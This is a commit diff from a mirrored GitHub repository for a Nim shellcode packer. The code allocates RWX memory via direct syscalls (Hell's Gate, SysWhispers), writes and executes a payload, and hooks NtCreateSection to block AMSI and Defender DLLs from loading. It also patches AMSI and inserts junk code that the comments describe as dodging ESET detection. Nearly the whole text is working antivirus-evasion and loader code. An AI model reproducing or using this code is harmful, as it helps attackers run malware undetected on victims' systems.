mirror of
https://github.com/S3cur3Th1sSh1t/NimSyscallPacker
synced 2026-06-11 09:59:09 +00:00
More options, current dev tests
This commit is contained in:
+124
-122
@@ -21,135 +21,137 @@ proc pwndem[byte](friendlycode: openarray[byte]): void =
|
||||
when defined(verbose):
|
||||
echo obf("Failed to hook Sleep for Shellcode-Fluctuation!")
|
||||
|
||||
when defined(amd64):
|
||||
when defined(DInvoke):
|
||||
let tProcess = MyGetCurrentProcessId()
|
||||
var pHandle: HANDLE = MyGetCurrentProcess()
|
||||
else:
|
||||
let tProcess = GetCurrentProcessId()
|
||||
var pHandle: HANDLE = GetCurrentProcess()
|
||||
|
||||
var
|
||||
status : NTSTATUS = 0x00000000
|
||||
buffer : LPVOID
|
||||
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
|
||||
|
||||
when defined(GetSyscallStub):
|
||||
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
|
||||
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
|
||||
var oldProtection: DWORD = 0
|
||||
var success: BOOL
|
||||
|
||||
# define NtAllocateVirtualMemory
|
||||
let NtAllocateVirtualMemory = cast[myNtAllocateVirtualMemory](cast[LPVOID](syscallStub_NtAlloc))
|
||||
when defined(DInvoke):
|
||||
let tProcess = MyGetCurrentProcessId()
|
||||
var pHandle: HANDLE = MyGetCurrentProcess()
|
||||
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
else:
|
||||
let tProcess = GetCurrentProcessId()
|
||||
var pHandle: HANDLE = GetCurrentProcess()
|
||||
|
||||
var
|
||||
status : NTSTATUS = 0x00000000
|
||||
buffer : LPVOID
|
||||
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
|
||||
|
||||
when defined(GetSyscallStub):
|
||||
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
|
||||
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
|
||||
var oldProtection: DWORD = 0
|
||||
var success: BOOL
|
||||
|
||||
# define NtAllocateVirtualMemory
|
||||
let NtAllocateVirtualMemory = cast[myNtAllocateVirtualMemory](cast[LPVOID](syscallStub_NtAlloc))
|
||||
when defined(DInvoke):
|
||||
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
else:
|
||||
success = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
# define NtWriteVirtualMemory
|
||||
let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
|
||||
when defined(DInvoke):
|
||||
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
else:
|
||||
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
|
||||
success = GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](syscallStub_NtAlloc))
|
||||
success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite))
|
||||
when defined(LocalCreateThread):
|
||||
var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)
|
||||
# define NtCreateThreadEx
|
||||
let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate))
|
||||
VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
|
||||
success = GetSyscallStub("NtCreateThreadEx", cast[LPVOID](syscallStub_NtCreate))
|
||||
|
||||
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntAllocTable):
|
||||
syscall = ntAllocTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
||||
|
||||
when defined(SysWhispers):
|
||||
status = oqiahsjynmxkla(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||||
success = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
# define NtWriteVirtualMemory
|
||||
let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
|
||||
when defined(DInvoke):
|
||||
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
else:
|
||||
status = NtAllocateVirtualMemory(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||||
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
|
||||
|
||||
|
||||
if not NT_SUCCESS(status):
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to allocate memory.")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[+] Allocated a page of memory with RWX perms")
|
||||
|
||||
var bytesWritten: SIZE_T
|
||||
when defined(Hellsgate):
|
||||
var
|
||||
ntWritefuncHash : uint64 = djb2_hash(obf("NtWriteVirtualMemory"))
|
||||
ntWriteTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)
|
||||
|
||||
if getSyscall(ntWriteTable):
|
||||
|
||||
syscall = ntWriteTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
||||
|
||||
when defined(SysWhispers):
|
||||
status = oqiazasusjk(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
|
||||
else:
|
||||
status = NtWriteVirtualMemory(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
|
||||
|
||||
if not NT_SUCCESS(status):
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to write memory.")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[+] NtWriteVirtualMemory - wrote bytes ") & fmt"{bytesWritten}"
|
||||
|
||||
success = GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](syscallStub_NtAlloc))
|
||||
success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite))
|
||||
when defined(LocalCreateThread):
|
||||
var tHandle: HANDLE
|
||||
when defined(SysWhispers):
|
||||
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,pHandle,buffer,NULL, FALSE, 0, 0, 0, NULL)
|
||||
NtWaitForSingleObject(tHandle, 0, nil)
|
||||
status = zuatzuastdiasyy(tHandle)
|
||||
status = zuatzuastdiasyy(pHandle)
|
||||
when defined(verbose):
|
||||
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
||||
else:
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntCreateTable):
|
||||
syscall = ntCreateTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
||||
status = NtCreateThreadEx(
|
||||
&tHandle,
|
||||
THREAD_ALL_ACCESS,
|
||||
nil,
|
||||
-1,
|
||||
buffer,
|
||||
nil, FALSE, 0, 0, 0, nil)
|
||||
when defined(verbose):
|
||||
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
||||
# Somehow not working
|
||||
#var TimeOut: LARGE_INTEGER = cast[LARGE_INTEGER](-1)
|
||||
#NtWaitForSingleObject(-1, 0, &TimeOut)
|
||||
WaitForSingleObject(-1, -1)
|
||||
when defined(Hellsgate):
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntCloseTable):
|
||||
syscall = ntCloseTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtClose")
|
||||
status = NtClose(tHandle)
|
||||
status = NtClose(pHandle)
|
||||
var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)
|
||||
# define NtCreateThreadEx
|
||||
let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate))
|
||||
VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
|
||||
success = GetSyscallStub("NtCreateThreadEx", cast[LPVOID](syscallStub_NtCreate))
|
||||
|
||||
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntAllocTable):
|
||||
syscall = ntAllocTable.wSysCall
|
||||
else:
|
||||
let f = cast[proc(){.nimcall.}](buffer)
|
||||
f()
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
||||
|
||||
when defined(SysWhispers):
|
||||
status = oqiahsjynmxkla(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||||
else:
|
||||
status = NtAllocateVirtualMemory(pHandle, &buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
|
||||
|
||||
|
||||
if not NT_SUCCESS(status):
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to allocate memory.")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[+] Allocated a page of memory with RWX perms")
|
||||
|
||||
var bytesWritten: SIZE_T
|
||||
when defined(Hellsgate):
|
||||
var
|
||||
ntWritefuncHash : uint64 = djb2_hash(obf("NtWriteVirtualMemory"))
|
||||
ntWriteTable : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : ntWritefuncHash)
|
||||
|
||||
if getSyscall(ntWriteTable):
|
||||
|
||||
syscall = ntWriteTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
||||
|
||||
when defined(SysWhispers):
|
||||
status = oqiazasusjk(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
|
||||
else:
|
||||
status = NtWriteVirtualMemory(pHandle,buffer,unsafeAddr friendlycode,dataSz-1,addr bytesWritten)
|
||||
|
||||
if not NT_SUCCESS(status):
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to write memory.")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[+] NtWriteVirtualMemory - wrote bytes ") & fmt"{bytesWritten}"
|
||||
|
||||
when defined(LocalCreateThread):
|
||||
var tHandle: HANDLE
|
||||
when defined(SysWhispers):
|
||||
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,pHandle,buffer,NULL, FALSE, 0, 0, 0, NULL)
|
||||
NtWaitForSingleObject(tHandle, 0, nil)
|
||||
status = zuatzuastdiasyy(tHandle)
|
||||
status = zuatzuastdiasyy(pHandle)
|
||||
when defined(verbose):
|
||||
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
||||
else:
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntCreateTable):
|
||||
syscall = ntCreateTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
||||
status = NtCreateThreadEx(
|
||||
&tHandle,
|
||||
THREAD_ALL_ACCESS,
|
||||
nil,
|
||||
-1,
|
||||
buffer,
|
||||
nil, FALSE, 0, 0, 0, nil)
|
||||
when defined(verbose):
|
||||
echo obf("[*] NtCreateThreadEx: "), toHex(status)
|
||||
# Somehow not working
|
||||
#var TimeOut: LARGE_INTEGER = cast[LARGE_INTEGER](-1)
|
||||
#NtWaitForSingleObject(-1, 0, &TimeOut)
|
||||
WaitForSingleObject(-1, -1)
|
||||
when defined(Hellsgate):
|
||||
when defined(Hellsgate):
|
||||
if getSyscall(ntCloseTable):
|
||||
syscall = ntCloseTable.wSysCall
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("[-] Failed to find opcode for NtClose")
|
||||
status = NtClose(tHandle)
|
||||
status = NtClose(pHandle)
|
||||
|
||||
when defined(Callback):
|
||||
discard EnumCalendarInfoA(cast[CALINFO_ENUMPROCA](buffer),1,1,1)
|
||||
WaitForSingleObject(-1, -1)
|
||||
else:
|
||||
let f = cast[proc(){.nimcall.}](buffer)
|
||||
f()
|
||||
|
||||
when isMainModule:
|
||||
pwndem(dectext)
|
||||
|
||||
+201
-1
@@ -135,6 +135,206 @@ when isMainModule:
|
||||
|
||||
"""
|
||||
|
||||
let AMSINtCreateSectionHookStub * = """
|
||||
|
||||
import winim/lean
|
||||
import strutils
|
||||
|
||||
type
|
||||
typeNtCreateSection* = proc (SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
|
||||
FileHandle: HANDLE): NTSTATUS {.stdcall.}
|
||||
|
||||
|
||||
type
|
||||
MyNtFlushInstructionCache* = proc (ProcessHandle: HANDLE, BaseAddress: PVOID, NumberofBytestoFlush: ULONG): NTSTATUS {.stdcall.}
|
||||
|
||||
|
||||
|
||||
type
|
||||
HookedNtCreate* {.bycopy.} = object
|
||||
origNtCreate*: typeNtCreateSection
|
||||
ntCreateStub*: array[16, BYTE]
|
||||
|
||||
HookTrampolineBuffers* {.bycopy.} = object
|
||||
originalBytes*: HANDLE ## (Input) Buffer containing bytes that should be restored while unhooking.
|
||||
originalBytesSize*: DWORD ## (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
|
||||
previousBytes*: HANDLE
|
||||
previousBytesSize*: DWORD
|
||||
|
||||
|
||||
var ntdlldll = LoadLibraryA("ntdll.dll")
|
||||
if (ntdlldll == 0):
|
||||
when defined(verbose):
|
||||
echo obf("[X] Failed to load ntdll.dll")
|
||||
|
||||
var NtFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
|
||||
if isNil(NtFlushInstructionCacheAddress):
|
||||
when defined(verbose):
|
||||
echo obf("[X] Failed to get the address of 'NtFlushInstructionCache'")
|
||||
|
||||
var NtFlushInstructionCache*: MyNtFlushInstructionCache
|
||||
NtFlushInstructionCache = cast[MyNtFlushInstructionCache](NtFlushInstructionCacheAddress)
|
||||
|
||||
proc hookntCreateSection*(): bool
|
||||
|
||||
proc fastTrampoline*(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
|
||||
buffers: ptr HookTrampolineBuffers = nil): bool
|
||||
|
||||
var g_hookedNtCreate*: HookedNtCreate
|
||||
|
||||
var ntCreate_Address*: HANDLE
|
||||
|
||||
var NtCreateSection*: typeNtCreateSection
|
||||
|
||||
proc MyNtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
|
||||
FileHandle: HANDLE): NTSTATUS
|
||||
|
||||
proc restore_hook_ntcreatesection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
|
||||
FileHandle: HANDLE): BOOL =
|
||||
|
||||
var buffers: HookTrampolineBuffers
|
||||
|
||||
buffers.originalBytes = cast[HANDLE](addr g_hookedNtCreate.ntCreateStub[0])
|
||||
buffers.originalBytesSize = DWORD(sizeof(g_hookedNtCreate.ntCreateStub))
|
||||
|
||||
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"))
|
||||
var trampolinesuccess: bool = fastTrampoline(false, cast[LPVOID](ntCreate_Address), cast[LPVOID](MyNtCreateSection), &buffers)
|
||||
if (trampolinesuccess == false):
|
||||
when defined(verbose):
|
||||
echo obf("Failed to install trampoline")
|
||||
quit(1)
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("Restored old function values!")
|
||||
when defined(verbose):
|
||||
echo obf("Calling real NtCreateSection\r\n")
|
||||
|
||||
NtCreateSection = cast[typeNtCreateSection](addressToHook)
|
||||
discard NtCreateSection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle)
|
||||
when defined(verbose):
|
||||
echo obf("RE-Hooking")
|
||||
hookntCreateSection()
|
||||
|
||||
proc MyNtCreateSection(SectionHandle: PHANDLE, DesiredAccess: ULONG, ObjectAttributes: POBJECT_ATTRIBUTES,
|
||||
MaximumSize: PLARGE_INTEGER, PageAttributess: ULONG, SectionAttributes: ULONG,
|
||||
FileHandle: HANDLE): NTSTATUS =
|
||||
|
||||
if(FileHandle != 0):
|
||||
var lpFileName: array[4096, WCHAR]
|
||||
var res: DWORD = GetFinalPathNameByHandle(FileHandle, cast[LPWSTR](addr lpFileName), DWORD(256), DWORD(FILE_NAME_OPENED or VOLUME_NAME_DOS)) # Get the file path of the file handle
|
||||
if (res == 0):
|
||||
when defined(verbose):
|
||||
echo obf("[X] Failed to get the file path of the file handle")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("GetFinalPathNameByHandleA success")
|
||||
|
||||
var dllName: string = $$cast[LPWSTR](cast[int](addr lpFileName) + 8)
|
||||
when defined(verbose):
|
||||
echo obf("Following DLL wants to be loaded: "), $$cast[LPWSTR](cast[int](addr lpFileName) + 8)
|
||||
if(("amsi.dll" in dllName) or ("MpOAV.dll" in dllName) or ("MpClient.dll" in dllName) or ("MsMpLics.dll" in dllName)):
|
||||
when defined(verbose):
|
||||
echo obf("[X] AMSI is being loaded")
|
||||
echo obf("Stopping it")
|
||||
return 0 # Return 0 to prevent AMSI from being loaded
|
||||
# If set -1, will trigger SEH exception and will show an error in the screen (but also works)
|
||||
else:
|
||||
if(restore_hook_ntcreatesection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributess, SectionAttributes, FileHandle)): #If it's not an AMSI DLL restore the original NtCreateSection
|
||||
when defined(verbose):
|
||||
echo obf("Restore success")
|
||||
proc fastTrampoline(installHook: bool; addressToHook: LPVOID; jumpAddress: LPVOID;
|
||||
buffers: ptr HookTrampolineBuffers): bool =
|
||||
var trampoline: seq[byte]
|
||||
if defined(amd64):
|
||||
trampoline = @[
|
||||
byte(0x49), byte(0xBA), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov r10, addr
|
||||
byte(0x00),byte(0x00),byte(0x41), byte(0xFF),byte(0xE2) # jmp r10
|
||||
]
|
||||
var tempjumpaddr: uint64 = cast[uint64](jumpAddress)
|
||||
copyMem(&trampoline[2] , &tempjumpaddr, 6)
|
||||
elif defined(i386):
|
||||
trampoline = @[
|
||||
byte(0xB8), byte(0x00), byte(0x00), byte(0x00), byte(0x00), # mov eax, addr
|
||||
byte(0x00),byte(0x00),byte(0xFF), byte(0xE0) # jmp eax
|
||||
]
|
||||
var tempjumpaddr: uint32 = cast[uint32](jumpAddress)
|
||||
copyMem(&trampoline[1] , &tempjumpaddr, 3)
|
||||
|
||||
var dwSize: DWORD = DWORD(len(trampoline))
|
||||
var dwOldProtect: DWORD = 0
|
||||
var output: bool = false
|
||||
|
||||
|
||||
if (installHook):
|
||||
if (buffers != nil):
|
||||
if ((buffers.previousBytes == 0) or buffers.previousBytesSize == 0):
|
||||
when defined(verbose):
|
||||
echo obf("Previous Bytes == 0")
|
||||
return false
|
||||
copyMem(unsafeAddr buffers.previousBytes, addressToHook, buffers.previousBytesSize)
|
||||
|
||||
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
|
||||
when defined(verbose):
|
||||
echo obf("Virtual Protect to RWX success!")
|
||||
copyMem(addressToHook, addr trampoline[0], dwSize)
|
||||
output = true
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("Restoring old NtCreateSection!")
|
||||
echo obf("Original Bytes restore address: "), toHex(buffers.originalBytes)
|
||||
echo obf("Original Bytes Size: "), buffers.originalBytesSize
|
||||
if (buffers != nil):
|
||||
if ((buffers.originalBytes == 0) or buffers.originalBytesSize == 0):
|
||||
when defined(verbose):
|
||||
echo obf("Original Bytes == 0")
|
||||
return false
|
||||
|
||||
dwSize = buffers.originalBytesSize
|
||||
|
||||
if (VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)):
|
||||
copyMem(addressToHook, cast[LPVOID](buffers.originalBytes), dwSize)
|
||||
output = true
|
||||
|
||||
var status = NtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize)
|
||||
if (status == 0):
|
||||
when defined(verbose):
|
||||
echo obf("NtFlushInstructionCache success")
|
||||
else:
|
||||
when defined(verbose):
|
||||
echo obf("NtFlushInstructionCache failed: "), toHex(status)
|
||||
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect)
|
||||
|
||||
return output
|
||||
|
||||
proc hookntCreateSection(): bool =
|
||||
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"))
|
||||
ntCreate_Address = cast[HANDLE](addressToHook)
|
||||
var buffers: HookTrampolineBuffers
|
||||
var output: bool = false
|
||||
|
||||
if (addressToHook == nil):
|
||||
return false
|
||||
|
||||
buffers.previousBytes = cast[HANDLE](addressToHook)
|
||||
buffers.previousBytesSize = DWORD(sizeof(addressToHook))
|
||||
g_hookedNtCreate.origNtCreate = cast[typeNtCreateSection](addressToHook)
|
||||
var PointerToOrigBytes: LPVOID = addr g_hookedNtCreate.ntCreateStub
|
||||
copyMem(PointerToOrigBytes, addressToHook, 16)
|
||||
|
||||
output = fastTrampoline(true, cast[LPVOID](addressToHook), cast[LPVOID](MyNtCreateSection), &buffers)
|
||||
return output
|
||||
|
||||
var hooksuccess = hookntCreateSection()
|
||||
when defined(verbose):
|
||||
echo obf("Hook:"), hooksuccess
|
||||
|
||||
|
||||
"""
|
||||
|
||||
|
||||
let AMSIProviderPatchStub * = """
|
||||
|
||||
from winregistry/winregistry import RegHandle,open,enumSubkeys,readString,samRead,enumValueNames
|
||||
@@ -360,7 +560,7 @@ proc PatchAmsi(): bool =
|
||||
#cs = cs + 0x83 # Old value for Win10 to change JNZ to JZ. Credit to @MrUn1k0d3r - https://players.brightcove.net/3755095886001/default_default/index.html?videoId=6308564004112
|
||||
else:
|
||||
#cs = cs + 0x75 # old value
|
||||
css = cs + 0x47 # Since Win11, there is no more JNZ, but JZ So we're going to patch the JZ to JNZ
|
||||
cs = cs + 0x47 # Since Win11, there is no more JNZ, but JZ So we're going to patch the JZ to JNZ
|
||||
var oldProtection: DWORD = 0
|
||||
var success: BOOL
|
||||
var protectAddress = cs
|
||||
|
||||
+48
-16
@@ -69,9 +69,30 @@ type
|
||||
type
|
||||
LdrLoadDll_t* = proc (PathToFile: PWCHAR, Flags: ULONG, ModuleFileName: PUNICODE_STRING, ModuleHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||
|
||||
|
||||
# toDo: Syscall
|
||||
proc RtlGetCurrentPeb*(): pointer
|
||||
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
|
||||
|
||||
when defined(DInvoke):
|
||||
|
||||
|
||||
type
|
||||
RtlGetCurrentPeb_t* = proc (): pointer {.stdcall.}
|
||||
RtlInitUnicodeString_t* = proc(DestinationString: PUNICODE_STRING, SourceString: PCWSTR): VOID {.stdcall.}
|
||||
|
||||
const
|
||||
RtlGetCurrentPeb_HASH * = obf("RtlGetCurrentPeb")
|
||||
RtlInitUnicodeString_HASH * = obf("RtlInitUnicodeString")
|
||||
|
||||
var MyRtlGetCurrentPeb*: RtlGetCurrentPeb_t
|
||||
var MyRtlInitUnicodeString*: RtlInitUnicodeString_t
|
||||
# temporary - to fix later
|
||||
proc RtlGetCurrentPeb*(): pointer
|
||||
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
|
||||
|
||||
else:
|
||||
proc RtlGetCurrentPeb*(): pointer
|
||||
{.discardable, stdcall, dynlib: "ntdll", importc: "RtlGetCurrentPeb".}
|
||||
|
||||
|
||||
#[ This was the older alternative, which was the trigger for ESET to flag the resulting binaries, therefore I replaced that with RtlGetCurrentPeb.
|
||||
proc GetPPEB(p: culong): P_PEB {.
|
||||
@@ -85,22 +106,32 @@ proc GetPPEB(p: culong): P_PEB {.
|
||||
"""
|
||||
|
||||
let DInvokeGetPEB * = fmt"""
|
||||
import random
|
||||
proc calcRand *(): int =
|
||||
|
||||
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE
|
||||
proc get_function_address*(hLibrary: HMODULE; fhash: cstring; ordinal: int, specialCase: BOOL): PVOID
|
||||
const
|
||||
NTDLL_DLL* = obf("ntdll.dll")
|
||||
|
||||
proc calcSomething *(): int =
|
||||
var rand: int = 0
|
||||
for i in 0 .. 10:
|
||||
rand += rand(0..100)
|
||||
rand += 15
|
||||
if ((rand mod 9) != 0):
|
||||
rand += rand(0..100)
|
||||
rand += 15
|
||||
return rand
|
||||
|
||||
|
||||
proc GetPPEB * (p: culong): P_PEB =
|
||||
randomize()
|
||||
# We need to put any stuff before and after this function, to avoid an ESET detection. It flags any Nim binary that uses this function alone.
|
||||
{getRandStubInFunc()}
|
||||
discard calcRand()
|
||||
return cast[P_PEB](RtlGetCurrentPeb())
|
||||
discard calcRand()
|
||||
discard calcSomething()
|
||||
when defined(DInvoke):
|
||||
#MyRtlGetCurrentPeb = cast[RtlGetCurrentPeb_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, TRUE)), RtlGetCurrentPeb_HASH, 0, FALSE)))
|
||||
#return cast[P_PEB](MyRtlGetCurrentPeb())
|
||||
return cast[P_PEB](RtlGetCurrentPeb())
|
||||
else:
|
||||
return cast[P_PEB](RtlGetCurrentPeb())
|
||||
discard calcSomething()
|
||||
{getRandStubInFunc()}
|
||||
|
||||
"""
|
||||
@@ -120,8 +151,6 @@ const
|
||||
LdrLoadDll_SW2_HASH * = obf("LdrLoadDll")
|
||||
MZ* = 0x5A4D
|
||||
|
||||
const
|
||||
NTDLL_DLL* = obf("ntdll.dll")
|
||||
|
||||
{getRandStub()}
|
||||
|
||||
@@ -138,8 +167,6 @@ proc `-`[T](a: ptr T, b: int): ptr T =
|
||||
|
||||
|
||||
proc is_dll*(hLibrary: PVOID): BOOL
|
||||
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE
|
||||
proc get_function_address*(hLibrary: HMODULE; fhash: cstring; ordinal: int, specialCase: BOOL): PVOID
|
||||
proc find_legacy_export*(hOriginalLibrary: HMODULE; fhash: cstring): PVOID
|
||||
|
||||
{getRandStub()}
|
||||
@@ -185,6 +212,7 @@ proc is_dll*(hLibrary: PVOID): BOOL =
|
||||
proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE =
|
||||
when defined(verbose):
|
||||
echo "\r\n[*] Parsing the PEB to search for the target DLL\r\n"
|
||||
echo "[*] Searching for: ", LibName
|
||||
var Peb: PPEB = GetPPEB(PEB_OFFSET)
|
||||
var Ldr = Peb.Ldr
|
||||
var FirstEntry: PVOID = addr(Ldr.InMemoryOrderModuleList.Flink)
|
||||
@@ -217,9 +245,13 @@ proc get_library_address*(LibName: LPWSTR; DoLoad: BOOL): HANDLE =
|
||||
"""
|
||||
|
||||
let DInvokeStubThird * = """
|
||||
when defined(DInvoke):
|
||||
var MyRtlInitUnicodeString: RtlInitUnicodeString_t = cast[RtlInitUnicodeString_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, FALSE)), RtlInitUnicodeString_HASH, 0, TRUE)))
|
||||
MyRtlInitUnicodeString(addr(ModuleFileName), LibName)
|
||||
else:
|
||||
RtlInitUnicodeString(addr(ModuleFileName), LibName)
|
||||
|
||||
|
||||
RtlInitUnicodeString(&ModuleFileName, LibName)
|
||||
#RtlInitUnicodeString(&ModuleFileName, LibName)
|
||||
#echo fmt"Copyied {LibName} into {ModuleFileName} "
|
||||
#echo "Error after:", $GetLastError()
|
||||
|
||||
|
||||
+5
-1
@@ -117,8 +117,12 @@ when defined(GetSyscallStub):
|
||||
fileSize: DWORD
|
||||
bytesRead: DWORD
|
||||
fileData: PVOID
|
||||
ntdllString: LPCSTR = obf("C:\\windows\\system32\\ntdll.dll")
|
||||
ntdllString: LPCSTR
|
||||
nullHandle: HANDLE
|
||||
when defined(wow64):
|
||||
ntdllString = obf("C:\\windows\\syswow64\\ntdll.dll")
|
||||
else:
|
||||
ntdllString = obf("C:\\windows\\system32\\ntdll.dll")
|
||||
when defined(DInvoke):
|
||||
